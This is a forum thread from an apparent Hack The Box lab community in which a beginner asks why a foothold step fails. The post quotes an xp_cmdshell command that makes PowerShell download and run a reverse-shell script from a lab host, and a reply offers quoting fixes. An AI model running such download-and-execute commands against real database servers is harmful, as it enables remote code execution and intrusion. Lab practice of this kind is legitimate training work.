got stucked at foothold

Hey , got stucked at the foothold in starting point of hack the box.

xp_cmdshell "powershell "IEX (New-Object
Net.WebClient).DownloadString(\"http://10.10.14.3/shell.ps1\");"

i created shell.ps1 at my desktop. netcat listener and mini server also i changed above 14.3 ip addr with mine but its not working .netcat listener is not taking reverseshell from shell.ps1 i think it cant read .please help i m very much new in this hacking world.
thnks

Comments

  • did you figure this out?
  • It may just be an error you did when copy/pasting but one " is missing.
    Also, it's good practice to enclose double quotes within single quotes, or the other way around, instead of using the same type of quotes, so that your shell knows where the "main" string starts and ends and what quotes are actually part of the string.

    dragonista

Sign In to comment.